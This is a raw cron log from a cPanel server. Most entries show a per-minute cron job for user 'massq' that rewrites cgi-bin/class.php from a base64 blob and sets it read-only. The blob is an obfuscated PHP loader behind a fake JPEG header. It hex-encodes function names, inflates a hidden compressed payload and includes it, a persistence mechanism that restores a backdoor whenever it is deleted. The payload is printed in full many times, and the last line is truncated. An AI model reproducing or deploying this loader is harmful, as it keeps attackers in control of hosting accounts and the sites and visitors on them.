Apr  6 22:01:01 server CROND[17823]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:01:01 server run-parts(/etc/cron.hourly)[17822]: starting 0anacron
Apr  6 22:01:01 server run-parts(/etc/cron.hourly)[17835]: finished 0anacron
Apr  6 22:02:01 server CROND[17914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:03:01 server CROND[17982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:04:01 server CROND[18063]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:05:01 server CROND[18127]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 22:05:01 server CROND[18128]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:05:01 server CROND[18129]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:05:01 server CROND[18130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:06:01 server CROND[18340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:07:01 server CROND[18405]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:08:01 server CROND[18463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:09:01 server CROND[18549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:09:01 server CROND[18550]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 22:10:01 server CROND[18626]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 22:10:01 server CROND[18627]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 22:10:01 server CROND[18628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:10:01 server CROND[18631]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 22:11:01 server CROND[18854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:12:01 server CROND[18961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:12:01 server CROND[18962]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 22:13:01 server CROND[19044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 22:14:01 server CROND[19121]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSV